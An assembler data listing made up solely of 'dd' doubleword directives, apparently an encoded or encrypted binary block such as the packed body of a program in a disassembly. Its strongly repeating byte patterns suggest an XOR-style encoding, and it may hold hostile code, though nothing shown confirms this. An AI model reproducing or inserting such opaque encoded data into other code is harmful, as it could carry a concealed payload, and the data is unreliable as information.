		dd 6FC5756Ah, 6A6BFB3Eh, 756A3EF7h, 852D2C2Ah, 7A8A4E6Fh
		dd 2DB9F36Ah, 33326F85h, 0C5756A73h, 6BFB527Fh,	6FC5756Ah
		dd 6A6BFB62h, 92F9AA7Bh, 0FB94377h, 0FAD6DB5Bh,	7F796A6Bh
		dd 6A6BFB9Eh, 757192F9h, 0FABE6FC5h, 6F796A6Bh,	6A6BFACAh
		dd 0F27190F9h, 24257C6Eh, 2FB9B321h, 0F2C29FF3h, 927A7B7Ah
		dd 7A7A4CDBh, 122D2C29h, 6A6BFD96h, 85C5DF92h, 852A2385h
		dd 7B7A766Fh, 0B23FF36Ah, 0BA3FBD1Ch, 3FF77A72h, 0FF72AAEh
		dd 6A96F9BAh, 7EC39DF3h, 897A7A7Ah, 7607F1DFh, 8545F12Dh
		dd 0B9F34A2Dh, 6BFBF2DBh, 7F92F96Ah, 7D0EB943h,	7093BA4Bh
		dd 0F77A7A7Dh, 122AA63Fh, 6A6BE042h, 2AAE3FF1h,	6E8542F1h
		dd 7A7A7A47h, 0DBB9F37Ah, 6A6BFA96h, 75B94332h,	7A7CA3FFh
		dd 0A23FF77Ah, 0A63FF12Ah, 8542F12Ah, 0B9F35E2Dh, 6BFA9ADBh
		dd 7C92F96Ah, 0FF75B943h, 7A7A7CCBh, 6BFB22DBh,	7992F96Ah
		dd 939E3FF3h, 7A7A7CEFh, 0F39E3FF1h, 0BD1C8A3Fh, 7A78923Fh
		dd 2A863FF7h, 0F9920FF7h, 9DF36A96h, 7A7A7EC3h,	0F7DF897Ah
		dd 96F9920Fh, 0C39DF36Ah, 7A7A7A7Eh, 7F1DF89h, 45F12DA6h
		dd 0F3562D85h, 0FB22DBB9h, 92F96A6Bh, 75B94379h, 7A7C33FFh
		dd 0F87EDB7Ah, 0C5756A6Bh, 6BFAB66Fh, 0F9AA7B6Ah, 0FFF37992h
		dd 858485C6h, 85C6FFF7h, 122A8584h, 6A6BE032h, 2A863FF1h
		dd 6E8542F1h, 7A7A7A47h, 75B9F37Ah, 0FB467FC5h,	92F96A6Bh
		dd 75B94373h, 7A7FABFFh, 0C6C7F97Ah, 7A858485h,	7FBEFE75h
		dd 3FF77A7Ah, 0FFF12A9Ah, 858485C6h, 8542F12Ah,	7A7A82EDh
		dd 73B9F37Ah, 0DDFF75A1h, 0F77A7A7Fh, 8485BBFFh, 0F852A85h
		dd 0E1FB929Ah, 56DB8585h, 0F96A6BFBh, 122A7D92h, 6A7F487Ah
		dd 85BBFFF7h, 922A8584h, 8585C7F1h, 0F16EBEF9h,	6BF87647h
		dd 81BDFB6Ah, 797A7A85h, 6BF84247h, 7582436Ah, 7A7F1BFEh
		dd 7FC5757Ah, 6A6BFB92h, 437C92F9h, 670F6A3Fh, 85C6FFF1h
		dd 0F12A8584h, 722C854Ah, 2A863FF1h, 2C854AF1h,	3ABA4B72h
		dd 7A7FF693h, 7FC5757Ah, 6A6BFBEEh, 0FBB27F79h,	92F96A6Bh
		dd 0FEFFF373h, 0F7858485h, 8485FEFFh, 12122A85h, 0F16A6BE0h
		dd 0F12A863Fh, 476E8542h, 7A7A7A7Ah, 0C575B9F3h, 6BFA827Fh
		dd 7F92F96Ah, 0FF75B943h, 7A7A7E88h, 85D1FFBCh,	123E8584h
		dd 6A6BFD98h, 85F3B992h, 47C57585h, 6A6BF862h, 524FC575h
		dd 7B6A6BFBh, 7E95F98Dh, 0C7F72A2Dh, 858485BBh,	0C6B7922Dh
		dd 0BEF98585h, 4FC5756Ah, 6A6BFBEAh, 858DBCFBh,	8A437A7Ah
		dd 0FFBC7D0Eh, 858485D1h, 0FDA0122Ah, 7926A6Bh,	758585F3h
		dd 0F87247C5h, 2A2D6A6Bh, 85BBC7F7h, 922D8584h,	8585C6E9h
		dd 0F16ABEF9h, 6BFABA4Fh, 87BCFB6Ah, 437A7A85h,	0BC7D0E8Ah
		dd 8485D1FFh, 0A8123985h, 926A6BFDh, 8585F33Eh,	0FA9647F1h
		dd 47796A6Bh, 6A6BFB66h, 2D7895F9h, 0BBC7F72Ah,	2D858485h
		dd 85C62892h, 6ABEF985h, 0FBCA4FF1h, 94F96A6Bh,	7BBDF379h
		dd 0E6C7F38Dh, 0F3858485h, 8485CAC7h, 0CAFFF185h, 0FA858485h
		dd 85BB7FC6h, 0E5C8584h, 0CAFF8572h, 91858485h,	0CAFFF192h
		dd 0F1858485h, 6BFADE6Fh, 7D90F96Ah, 0BB7FEEF2h, 0F1858485h
		dd 8485E6FFh, 7FFEF785h, 858485BBh, 666F852Ah, 0F36A7B7Ah
		dd 8485FAFFh, 0FDB11285h, 0C3926A6Bh, 758585F2h, 0F83E47C5h
		dd 47796A6Bh, 6A6BFBFAh, 2D7C95F9h, 0BBC7F72Ah,	2D858485h
		dd 85C1BC92h, 6EBEF985h, 0FB0A4FF1h, 4F796A6Bh,	6A6BFBFAh
		dd 7BBDF334h, 0E6C7F38Dh, 0F3858485h, 8485CAC7h, 0CAFFF185h
		dd 0FA858485h, 85BB7FC6h, 0E5C8584h, 0CAFF8572h, 91858485h
		dd 0CAFFF192h, 0F1858485h, 6BFB0E6Fh, 7D90F96Ah, 0BB7FEEF2h
		dd 0F1858485h, 8485E6FFh, 7FFEF785h, 858485BBh,	666F852Ah
		dd 236A7B7Ah, 85DEFFF3h, 4EDB8584h, 796A6BF8h, 6BF8767Fh
		dd 7692F96Ah, 85FAFF43h, 0D8584h, 6BFAC6DBh, 0C2FFF36Ah
		dd 91858485h, 0C2C7F12Bh, 0F3858485h, 789CBB84h, 526FC575h
		dd 0F96A6BFBh, 6E437F90h, 7B6A9A4Fh, 0F1570E6Ah, 8485DEEFh
		dd 4F6E4385h, 6A7B7A5Ah, 6EF0640Fh, 7B5BCA47h, 0D1EF406Ah
		dd 0F858485h, 4FC57575h, 6A6BF872h, 0C74EF334h,	6A7B6A9Ah
		dd 85C2FF85h, 0C5758584h, 6BFAD27Fh, 866FF16Ah,	0F76A6BFBh
		dd 79926AFEh, 0FF437A7Ah, 858485C2h, 6F85E908h,	6A6B200Ah
		dd 85DAFFF3h, 96DB8584h, 756A6BFBh, 0FBBE6FC5h,	0AA7B6A6Bh
		dd 0F37192F9h, 8485CEFFh, 0F1109185h, 8485CEC7h, 789DBB85h
		dd 1E4FC575h, 346A6BFBh, 9A474E43h, 0E6A7B6Ah, 4746F130h
		dd 6A73332Ah, 0FBA64FF1h, 0BCFB6A6Bh, 7A7A901Ah, 0FABA6FF1h
		dd 79386A6Bh, 6BFBD66Fh, 88D5756Ah, 0C7418D7Bh,	858485DAh
		dd 0C7F16709h, 858485CEh, 0EE4FC575h, 796A6BFBh, 6BFAA64Fh
		dd 7F94F96Ah, 9AC74EF3h, 856A7B6Ah, 8485CEFFh, 0FAA6DB85h
		dd 0A57F6A6Bh, 797A7A79h, 6BFAAE7Fh, 0CEFF436Ah, 75858485h
		dd 858500F8h, 0F87ADB85h, 7F796A6Bh, 6A6BFB86h,	0F37F92F9h
		dd 8485D6FFh, 0F15E9185h, 8485D6C7h, 664FF185h,	796A6BFBh
		dd 6BFBCE4Fh, 7C94F96Ah, 9AC74E43h, 0E6A7B6Ah, 0D6FF855Bh
		dd 0DB858485h, 6A6BFB36h, 7A79A77Fh, 6FC5757Ah,	6A6BFB46h
		dd 0FF43AA7Bh, 858485D6h, 0C7F1BB08h, 858485D6h, 85DECFF1h
		dd 4EF38584h, 7B7A5AC7h, 720FF16Ah, 1AC74EF3h, 0F36A7A8Ah
		dd 0D1EFF082h, 0F2858485h, 5BCA7F6Eh, 0C5756A7Bh, 6BFBD27Fh
		dd 0E67F796Ah, 0F96A6BFBh, 0FF437E92h, 858485FAh, 7AB8FC75h
		dd 4FF17A7Ah, 6A6BFB96h, 8586BCFBh, 0C5757A7Ah,	6BF8626Fh
		dd 1CAC7B6Ah, 6A074EF3h, 0DB6A7F50h, 6A6BFB2Eh,	0F85A7F79h
		dd 92F96A6Bh, 2FFF370h,	91858485h, 2C7F10Dh, 0F3858485h
		dd 789CBB84h, 0FB2E6FF1h, 0C5756A6Bh, 6BFBEA77h, 0F9B07B6Ah
		dd 6E436A90h, 7B6A9A4Fh, 75310E6Ah, 6A076ECDh, 0F16A7F50h
		dd 6BFB0277h, 8CBBFB6Ah, 757A7A85h, 0FBD27FC5h,	0BB7B6A6Bh
		dd 500EB043h, 85DEEFF1h, 6E438584h, 7B7A5A4Fh, 0F0610F6Ah
		dd 5BCA476Eh, 0EF406A7Bh, 858485D1h, 46F7760Fh,	7F506A07h
		dd 7D851C6Ah, 0FF854191h, 85848502h, 6BFAC2DBh,	799E7F6Ah
		dd 0FF437A7Ah, 85848502h, 8509F875h, 67918585h,	85D6C7F1h
		dd 4FF18584h, 6A6BFBC6h, 0FBF24F79h, 94F96A6Bh,	4EF31C70h
		dd 7F506A07h, 0A6F856Ah, 0F16A6B20h, 8485D6C7h,	0C77EF385h
		dd 6A73332Ah, 0F8D24FF7h, 4EF36A6Bh, 7B6A9AC7h,	0D6C7F16Ah
		dd 0F7858485h, 6A9AC746h, 0C7F36A7Bh, 85848506h, 0F12A82F3h
		dd 7E2C854Ah, 85D6C7F1h, 46F78584h, 7B6A9AC7h, 0EAC7F36Ah
		dd 1C858485h, 85F2FFBDh, 7A738584h, 85F2CFF7h, 96F98584h
		dd 0C39DF36Ah, 7A7A7A7Eh, 0C7F1DF89h, 858485FEh, 8545F12Dh
		dd 7A7ADEEDh, 0F7B9F37Ah, 8485F2FFh, 6F852A85h,	6A6B0A3Eh
		dd 85D6FF85h, 0FFF18584h, 858485FEh, 854AF12Ah,	0DADB722Ch
		dd 0F96A6BFBh, 0FF437292h, 858485C6h, 0FFF1760Eh, 858485C6h
		dd 854AF12Ah, 0C575722Ch, 6BF83A7Fh, 7292F96Ah,	0E863F43h
		dd 863FF173h, 854AF12Ah
		dd 3F85722Ch, 0A23FF19Eh, 759E3F43h, 858325F8h,	0A63FF185h
		dd 854AF12Ah, 3FF1722Ch, 4AF12AAEh, 4B722C85h, 212425BAh
		dd 0F32FB9B3h, 2E96FB9Fh, 297A7A78h, 0FFF72D2Ch, 85858496h
		dd 7FC5752Ah, 6A6BFBBEh, 2A7292F9h, 6BFB2EDBh, 7292F96Ah
		dd 755B102Ah, 0FB1E7FC5h, 2A326A6Bh, 507A6F85h,	0B9F36A7Fh
		dd 0FF75A173h, 7A7A7B6Fh, 2A8A3FF7h, 4E4A6F85h,	0A6DB6A73h
		dd 756A6BFAh, 75802FCDh, 0F18237CDh, 6BFBC667h,	4CB9F96Ah
		dd 7BB1D575h, 37CD75B0h, 67C5758Ch, 6A6BFB3Eh, 0FA924FF1h
		dd 26F76A6Bh, 0D5756949h, 67C575B1h, 6A6BF83Ah,	754EB9F9h
		dd 0B07BB1D5h, 8837CD75h, 6267C575h, 0F16A6BFBh, 6BFBAA4Fh
		dd 4926F76Ah, 0B1D57575h, 0FB3667F1h, 0B9F96A6Bh, 4FC5756Fh
		dd 6A6BFB32h, 0D575897Bh, 67C575B1h, 6A6BFB46h,	0FB5E4FF1h
		dd 26F76A6Bh, 0D5754B49h, 75B07BB1h, 0F18A37CDh, 6BFAA667h
		dd 72B9F96Ah, 0F1B1D575h, 6BFBF267h, 6BB9F96Ah,	0FB2E6779h
		dd 0D5756A6Bh, 67C575B1h, 6A6BFA82h, 75793EF7h,	0DBB2D575h
		dd 6A6BFBC2h, 794EBAF9h, 6BFB2A7Fh, 0B2D5756Ah,	0B27BAAF3h
		dd 7A8A4AD9h, 0F856DB6Ah, 7F796A6Bh, 6A6BFBFAh,	0F37C92F9h
		dd 8587B0FFh, 0D4CFF785h, 0FB858587h, 7A7B3A96h, 0C39DF37Ah
		dd 7A7A7AE5h, 0F7DF1C89h, 858496C7h, 0B8922D85h, 0FB8585ECh
		dd 7A7B3EBEh, 2124257Ah, 0F32FB9B3h, 6A7AC29Fh,	0A0927A7Ah
		dd 297A7A57h, 0C3122D2Ch, 926A6BFDh, 8585F96Ah,	524FF123h
		dd 0F96A6BF8h, 2A2C7294h, 6A4FC575h, 0F96A6BF8h, 852C7F94h
		dd 6F85720Fh, 6A77234Ah, 7EDBBDF3h, 0F96A6BF8h,	0BD437892h
		dd 7F1790Fh, 0FDD91272h, 0AF926A6Bh, 238585F8h,	0FBFA4FF1h
		dd 0C5756A6Bh, 6BF83A67h, 0F9A47B6Ah, 2A2C7294h, 0CE4FC575h
		dd 796A6BFAh, 6BFB224Fh, 7294F96Ah, 6F852D2Ch, 6A77234Ah
		dd 0FFF7BDF3h, 85858A7Bh, 7585122Ah, 77107A7Ah,	626F852Dh
		dd 0DB6A7A8Ah, 6A6BFAEAh, 0FBCE7F79h, 0C6FA6A6Bh, 8595837Fh
		dd 690F5A85h, 6BF876DBh, 7FC6FA6Ah, 85859584h, 0EAFE755Ah
		dd 0F77A7A7Ah, 858A7BF7h, 85B2F985h, 7B46FA3Ah,	0F1830F7Ah
		dd 6BFA9667h, 76B9F96Ah, 908A243h, 6BFAD6DBh, 7FC6FA6Ah
		dd 85859580h, 0DB750F12h, 6A6BF836h, 837FC6FAh,	0E858595h
		dd 0E4122F0Eh, 926A6BFDh, 8585F85Eh, 1E4FC575h,	0F96A6BFBh
		dd 2A2C79BCh, 8A7BCFF7h, 922C8585h, 8585CF4Dh, 756ABEF9h
		dd 0FAD267C5h, 0B9FB6A6Bh, 7A7A8585h, 650FA243h, 6BFDE212h
		dd 0FB94926Ah, 2A238585h, 0FB9E4FF1h, 94F96A6Bh, 76102C7Eh
		dd 626F852Dh, 256A7A8Ah, 0B9B32124h, 2D9FF32Fh,	85720F85h
		dd 6BF8224Fh, 0D66F856Ah, 0F36A7B5Bh, 0B92725BDh, 929FF32Fh
		dd 85858754h, 6BF87EDBh, 0CBAF96Ah, 0FA9A6FF1h,	0B8FB6A6Bh
		dd 7A7A9022h, 0FB5E6F79h, 0D5756A6Bh, 6F852AB8h, 6A77235Eh
		dd 27AE9123h, 2F7A7EB8h, 6EC29FF3h, 927A7D65h, 7A7A5643h
		dd 0F72D2C29h, 818BFAFFh, 6F852A85h, 6A7A8A32h,	8B16FFF7h
		dd 0F72A8581h, 818BFAFFh, 73102A85h, 6BFB9EDBh,	7E92F96Ah
		dd 720F852Ah, 485E6F85h, 0B9F36A73h, 6BFB7ADBh,	5A7F796Ah
		dd 0F96A6BF8h, 0B9437192h, 747AFF75h, 9ADB7A7Ah, 0F96A6BFAh
		dd 0FFF37C92h, 85818BDAh, 8BF2F7F1h, 0F7F38581h, 85818BE6h
		dd 8BDAF7F7h, 122B8581h, 6A6BE0D2h, 8BE6FFF1h, 0F12A8581h
		dd 476E8542h, 7A7A7A7Ah, 4EDBB9F3h, 796A6BF8h, 6BFB367Fh
		dd 7092F96Ah, 0FF75B943h, 7A7A77C8h, 8B06FFF7h,	0F12A8581h
		dd 818BDAFFh, 42F12A85h, 0F3022D85h, 0FAC6DBB9h, 7F796A6Bh
		dd 6A6BFB9Ah, 437E92F9h, 1FF75B9h, 0F77A7A77h, 818BD3FFh
		dd 0CF852A85h, 85818B06h, 85EBD492h, 72BEF985h,	0F33DBDF3h
		dd 818B12C7h, 6CF8585h,	8585818Bh, 6B154E6Fh, 0D3C7FA6Ah
		dd 1285818Bh, 0C7FA610Fh, 85818BD0h, 0FA680F0Eh, 818BD1C7h
		dd 730F0E85h, 8BD6C7FAh, 0E0A8581h, 7752937Fh, 0FFF77A7Ah
		dd 85868BCEh, 0DAFFF12Ah, 2A85818Bh, 0ED8542F1h, 7A7A7AEEh
		dd 0FEDBB9F3h, 796A6BFBh, 6BFBF67Fh, 7F92F96Ah,	6B0EB943h
		dd 6BFBFADBh, 0C67F796Ah, 0F36A6BFAh, 868BCEFFh, 0E2FFF785h
		dd 2A85818Bh, 8BDAFFF1h, 0F12A8581h, 322D8542h,	4ADBB9F3h
		dd 326A6BFBh, 0FF75B943h, 7A7A76B0h, 8BEEFFF7h,	122A8581h
		dd 6A6BE052h, 8BE2FFF1h, 0F12A8581h, 476E8542h,	7A7A7A7Ah
		dd 76DBB9F3h, 0F96A6BFBh, 0B9437892h, 76EAFF75h, 0FFF77A7Ah
		dd 85818BEAh, 0EEFFF12Ah, 2A85818Bh, 2D8542F1h,	0DBB9F326h
		dd 6A6BFB5Eh, 0FAEA7F79h, 92F96A6Bh, 75B9437Ch,	7A7623FFh
		dd 0AFFF77Ah, 2A85818Bh, 8BEAFFF1h, 0F12A8581h,	5A2D8542h
		dd 0BADBB9F3h, 796A6BFBh, 6BF87A7Fh, 7C92F96Ah,	0FF75B943h
		dd 7A7A7658h, 6BFBAEDBh, 467F796Ah, 0F96A6BF8h,	0A28D7D92h
		dd 8BDEFFF3h, 0F2128581h, 926A6BFDh, 8585C948h,	766F852Ah
		dd 0F36A7B7Ah, 868BC6FFh, 0FD0E1285h, 61926A6Bh, 2A8585C9h
		dd 7A766F85h, 0FFF36A7Bh, 85868BC2h, 0E67FC575h, 0F16A6BFAh
		dd 6BF8566Fh, 7D90F96Ah, 0C67FEEF2h, 0DB858688h, 6A6BFA9Ah
		dd 0FB0A7F79h, 0FEBC6A6Bh, 8688CC7Fh, 32DB3E85h, 756A6BF8h
		dd 0FAB66FC5h, 0AA7B6A6Bh, 0C67FFEBCh, 6858688h, 8BD3FFF7h
		dd 0F72A8581h, 8688BAFFh, 6F852A85h, 6A7A8A56h,	756ABEF9h
		dd 0FBEE7FC5h, 0F3326A6Bh, 818B0EFFh, 0FB6EDB85h, 7F796A6Bh
		dd 6A6BFB2Ah, 0F37F92F9h, 818B02FFh, 7FC57585h,	6A6BFB1Eh
		dd 0FBC67F79h, 92F96A6Bh, 43A28D7Ch, 818BDEFFh,	0F73D0F85h
		dd 868BD6FFh, 0FFF12A85h, 85818BEEh, 8542F12Ah,	0B9F3422Dh
		dd 6A7FC575h, 0F96A6BF8h, 0B9437F92h, 709CFF75h, 19127A7Ah
		dd 926A6BFDh, 85850406h, 0BAC7F72Ah, 2D858688h,	8A566F85h
		dd 0BEF96A7Ah, 7B669376h, 0BD1C7A7Ah, 818B22FFh, 0F17A6D85h
		dd 818BDEFFh, 1AFFF385h, 0F785818Bh, 818B32FFh,	0FFF72A85h
		dd 85818B22h, 0EAFFF12Ah, 2A85818Bh, 2C854AF1h,	2FFF766h
		dd 2A85818Bh, 6BE00212h, 2ACF856Ah, 0F185818Bh,	818B2AC7h
		dd 8545F185h, 7A7A476Eh, 0B9F37A7Ah, 6BFB82DBh,	0FE7F796Ah
		dd 0F96A6BFBh, 0B9437D92h, 7024FF75h, 0FFF77A7Ah, 85818B0Eh
		dd 2FFF12Ah, 2A85818Bh,	0ED8542F1h, 7A7A7AAAh, 42DBB9F3h
		dd 796A6BF8h, 6BF8667Fh, 7E92F96Ah, 6B0EB943h, 8B02FFF1h
		dd 0F12A8581h, 722C854Ah, 7A705993h, 0D6FFF77Ah, 2A85868Bh
		dd 8B0EFFF1h, 0F12A8581h, 422D8542h, 7ADBB9F3h,	796A6BFBh
		dd 6BF84E7Fh, 6B92F96Ah, 670EB943h, 8B0EFFF1h, 0F12A8581h
		dd 722C854Ah, 8B02FFF1h, 0F12A8581h, 722C854Ah,	7A73A593h
		dd 0FD2E127Ah, 0F926A6Bh, 85858507h, 818BDECFh,	0C7F72A85h
		dd 85868BBBh, 526F852Dh, 0F76A7723h, 868BBBFFh,	0FFF72A85h
		dd 858688BAh, 566F852Ah, 0F96A7A8Ah, 0FFF762BEh, 85868BD2h
		dd 0D6FFF12Ah, 2A85868Bh, 2D8542F1h, 0DBB9F35Eh, 6A6BFAB2h
		dd 0FADE7F79h, 92F96A6Bh, 75B94372h, 7A7305FFh,	7FC5757Ah
		dd 6A6BFABEh, 0F37C92F9h, 868BCAFFh, 73229385h,	0BD1C7A7Ah
		dd 838B4AFFh, 0F17A7885h, 868BCAFFh, 42FFF385h,	7585838Bh
		dd 0FBBE7FC5h, 7F796A6Bh, 6A6BFB8Eh, 0FB266FF1h, 90F96A6Bh
		dd 7FEEF27Eh, 85808B2Eh, 8B3AFFF7h, 0F72A8583h,	838B4ACFh
		dd 6A96F985h, 7EC39DF3h, 897A7A7Ah, 4ACFF7DFh, 0F985838Bh
		dd 9DF36A96h, 7A7A7EC3h
		dd 0F1DF897Ah, 868BD6C7h, 45F12D85h, 0F3562D85h, 7FC575B9h
		dd 6A6BFABEh, 437C92F9h, 0AFFF75B9h, 127A7A72h,	6A6BFD3Ch
		dd 8506F992h, 0CACF8585h, 2A85868Bh, 8BBBC7F7h,	852D8586h
		dd 7723526Fh, 0BBFFF76Ah, 2A85868Bh, 88BAFFF7h,	852A8586h
		dd 7A8A566Fh, 62BEF96Ah, 0B67FC575h, 796A6BFAh,	6BFB9E7Fh
		dd 7F92F96Ah, 8B56FFF3h, 0FFF78583h, 85838B56h,	0E032122Ah
		dd 0FFF16A6Bh, 85838B3Ah, 8542F12Ah, 7A7A476Eh,	0B9F37A7Ah
		dd 6BF856DBh, 5E7F796Ah, 0F96A6BF8h, 0B9437292h, 7ECDFF75h
		dd 0FFF77A7Ah, 85838B52h, 56FFF12Ah, 2A85838Bh,	0ED8542F1h
		dd 7A7A7A8Ah, 2EDBB9F3h, 796A6BFBh, 6BFB0E7Fh, 7592F96Ah
		dd 0FF75B943h, 7A7A7E07h, 8B1BFFF7h, 852A8583h,	838B52CFh
		dd 0F6AF9285h, 0BEF98585h, 3DBDF372h, 8B32C7F3h, 0CF858583h
		dd 85838B52h, 154E6F85h, 32DB6A6Bh, 0F96A6BF8h,	0FFF37E92h
		dd 85818B1Eh, 0FFF13091h, 85818B1Eh, 7FFEC475h,	85838B1Bh
		dd 0FBD66FF1h, 0B8F96A6Bh, 0EAA4371h, 4E6FF169h, 0F96A6BFBh
		dd 6F797EB8h, 6A6BFB0Ah, 6C0FAA43h, 8B1EFFF1h, 6FF18581h
		dd 6A6BFB26h, 0F27E90F9h, 8B1B7FEEh, 0FF858583h, 85818B1Eh
		dd 8B32FFF1h, 0FF438583h, 85818B1Eh, 0FFF7D208h, 85838B1Bh
		dd 1FFFF72Ah, 2A85808Bh, 7A5C6292h, 7FC5757Ah, 6A6BFAE6h
		dd 0FB5E7F79h, 92F96A6Bh, 1EFFF372h, 0F185818Bh, 818B1EFFh
		dd 7FF6F785h, 85838B1Bh, 3A85B2F9h, 7A7B46FAh, 0FFF3830Fh
		dd 85838B22h, 0F8466FF1h, 0ABF36A6Bh, 0B243AB7Bh, 0C575620Eh
		dd 6BF8626Fh, 9A77F16Ah, 0F76A6BFAh, 7AB870EEh,	0AA437A7Ah
		dd 0AA937F0Ch, 757A7A7Ah, 0F83E7FC5h, 92F96A6Bh, 26FFF37Dh
		dd 9185838Bh, 1EFFF152h, 7985818Bh, 838B26FFh, 0FEC47585h
		dd 838B1B7Fh, 6FC57585h, 6A6BFA86h, 4364B8F9h, 856E0FAAh
		dd 838B26FFh, 22FFF185h, 4385838Bh, 838B26FFh, 0F1B00885h
		dd 838B22FFh, 26FF4385h, 0E85838Bh, 7FC57500h, 6A6BFA86h
		dd 0FFF12A32h, 85818B1Eh, 1B7FFEF7h, 2A85838Bh,	8B1FFFF7h
		dd 922A8580h, 8585D7F5h, 0F376BEF9h, 838B5EFFh,	0FBFADB85h
		dd 8D7F6A6Bh, 797A7A85h, 6BF84E7Fh, 5EFF436Ah, 0F85838Bh
		dd 0FD3B124Ch, 43926A6Bh, 2A858500h, 8B1FC7F7h,	852D8580h
		dd 7A8A566Fh, 1EFFF16Ah, 0F785818Bh, 8B1B7FFEh,	0F72A8583h
		dd 808B1FFFh, 6F852A85h, 6A7A8A56h, 0F16EBEF9h,	838B22FFh
		dd 0E66FF185h, 796A6BFBh, 6BFBBA6Fh, 7E90F96Ah,	0FF7BAA7Bh
		dd 85818B1Eh, 8B32FFF1h, 0FF438583h, 85818B1Eh,	84C3F875h
		dd 76DB8585h, 0F96A6BF8h, 0FFF37E92h, 85838B36h, 8B1FF7F7h
		dd 0B2F98580h, 46FA3A85h, 830F7A7Bh, 8B22FFF3h,	0BADB8583h
		dd 0F96A6BFBh, 0FFF37B92h, 85818B1Eh, 7A786993h, 1EFFF17Ah
		dd 7585818Bh, 1F7FFECCh, 0F185808Bh, 6BFB4E6Fh,	6FB8F96Ah
		dd 0FAE26F79h, 0AA436A6Bh, 0DFF97D0Eh, 85838B2Eh, 1EFFF17Ah
		dd 7585818Bh, 1F7FFECCh, 0F185808Bh, 6BFBA66Fh,	5AB8F96Ah
		dd 0FF75AA43h, 7A7A7B08h, 6BFBFEDBh, 7E92F96Ah,	8B1EFF43h
		dd 0FC758581h, 7A7A7ACAh, 8B1EFFF1h, 0C5758581h, 6BFB526Fh
		dd 226F796Ah, 0F96A6BFBh, 0AA537D90h, 1F7FFEF0h, 0F285808Bh
		dd 838B59FFh, 0FFCC7585h, 85838B59h, 0FB366FF1h, 0B8F96A6Bh
		dd 4AA4364h, 926FF177h,	0F96A6BFAh, 0AA4355B8h,	0CC751A06h
		dd 838B59FFh, 6FC57585h, 6A6BFB1Eh, 0FBD677F1h,	2EF76A6Bh
		dd 0AA434C70h, 0C5756F04h, 6BFBB66Fh, 0DA77F16Ah, 0F76A6BFBh
		dd 434A702Eh, 755506AAh, 8B59FFCCh, 0C5758583h,	6BFBEE6Fh
		dd 9A77F16Ah, 0F76A6BFAh, 4309702Eh, 0F16704AAh, 6BFAD66Fh
		dd 2B8F96Ah, 0FBA66F79h, 0AA436A6Bh, 0FFBD7007h, 85838B2Eh
		dd 7A7A7A7Bh, 8B22FFF1h, 0FF438583h, 85818B1Eh,	7AE6F975h
		dd 0FFF17A7Ah, 85818B1Eh, 0FAE26FF1h, 90F96A6Bh, 0F0AA7B72h
		dd 8B1F7FFEh, 0FFF28580h, 85838B59h, 59FFCC75h,	0F185838Bh
		dd 6BFB8E6Fh, 6FB8F96Ah, 0F87E6F79h, 0AA436A6Bh, 6FF16C04h
		dd 6A6BFBF2h, 7553B8F9h, 0FAEE77C5h, 0B07B6A6Bh, 3E06AA43h
		dd 59FFCC75h, 0F185838Bh, 6BF8666Fh, 4FB8F96Ah,	7704AA43h
		dd 0FB826FF1h, 0B8F96A6Bh, 6AA4344h, 0FFCC7559h, 85838B59h
		dd 426FC575h, 0F96A6BFBh, 0AA430DB8h, 0C5756204h, 6BFAB66Fh
		dd 4B8F96Ah, 7007AA43h,	8B2EFFBDh, 7A7B8583h, 0C7F97A7Ah
		dd 85838B2Eh, 0F15A0F7Ah, 838B36FFh, 1EEFF185h,	0F085818Bh
		dd 8B1F6FEEh, 0EEF28580h, 808B1F7Fh, 36FF8585h,	0F185838Bh
		dd 818B1EFFh, 0FECC7585h, 808B1F7Fh, 0A26FF185h, 0F96A6BFAh
		dd 6F7962B8h, 6A6BFB76h, 700FAA43h, 8B2EFFBDh, 7A7B8583h
		dd 0FF857A7Ah, 85818B1Eh, 8B22FFF1h, 0FF438583h, 85818B1Eh
		dd 87A1F875h, 0FFF18585h, 85838B36h, 0FBCA6FF1h, 0C5756A6Bh
		dd 6BFAE677h, 0F9B07B6Ah, 0EEF27790h, 808B1F7Fh, 56FFF185h
		dd 2A85838Bh, 2C854AF1h, 7FC57572h, 6A6BFB46h, 0F37392F9h
		dd 838B2AFFh, 2AFFF785h, 2A85838Bh, 6BE02212h, 3AFFF16Ah
		dd 2A85838Bh, 6E8542F1h, 7A7A7A47h, 0DBB9F37Ah,	6A6BF87Eh
		dd 0FBFA7F79h, 92F96A6Bh, 75B94378h, 7A7894FFh,	3EFFF77Ah
		dd 2A85838Bh, 8B2AFFF1h, 0F12A8583h, 162D8542h,	5EDBB9F3h
		dd 756A6BFBh, 0FB526FC5h, 0AA7B6A6Bh, 437D92F9h, 0CEFF75B9h
		dd 0DB7A7A78h, 6A6BF84Eh, 0F37292F9h, 808B1AFFh, 78F59385h
		dd 1ADB7A7Ah, 796A6BFBh, 6BFB0E7Fh, 7492F96Ah, 5E6F852Ah
		dd 236A7723h, 82FFBD1Ch, 7885828Ah, 1AFFF17Ah, 0F385808Bh
		dd 828B7AFFh, 8EFFF785h, 2A85828Ah, 8A82CFF7h, 96F98582h
		dd 0C39DF36Ah, 7A7A7A7Eh, 0CFF7DF89h, 85828A82h, 0F36A96F9h
		dd 7A7EC39Dh, 0DF897A7Ah, 8B2AC7F1h, 0F12D8583h, 0E2D8545h
		dd 0C575B9F3h, 6BF86A7Fh, 6FC5756Ah, 6A6BFAB6h,	92F9AA7Bh
		dd 75B9437Ch, 7A7870FFh, 7FC5757Ah, 6A6BFAEEh, 0FADA7F79h
		dd 92F96A6Bh, 76FFF37Fh, 0F785828Bh, 828B76FFh,	32122A85h
		dd 0F16A6BE0h, 828A8EFFh, 42F12A85h, 7A476E85h,	0F37A7A7Ah
		dd 7FC575B9h, 6A6BFBD2h, 0F85A7F79h, 92F96A6Bh,	75B94378h
		dd 7A7BC8FFh, 6AFFF77Ah, 2A85838Bh, 527FC575h, 0F96A6BFBh
		dd 852A7F92h, 868BC2CFh, 76FFF185h, 2A85828Bh, 2D8542F1h
		dd 73B9F35Ah, 1C700FA1h, 8B6AC7F9h, 0E728583h, 7B17937Fh
		dd 76DB7A7Ah, 796A6BF8h, 6BFBF67Fh, 6FC5756Ah, 6A6BFB46h
		dd 0F27390F9h, 8B767FEEh, 0FFF78582h, 85828B6Bh, 62CF852Ah
		dd 9285838Bh, 8585FCDDh, 0F372BEF9h, 0C7F33DBDh, 85829A8Ah
		dd 8B62CF85h, 6F858583h, 6A6B154Eh, 6BFB4EDBh, 6FC5756Ah
		dd 6A6BFAEEh, 6FEEC475h, 85828B75h, 0BB7BBBF3h,	92F9B2F3h
		dd 75B8437Eh, 7A7B78FEh, 0CECF857Ah, 0F785868Bh, 828B6BFFh
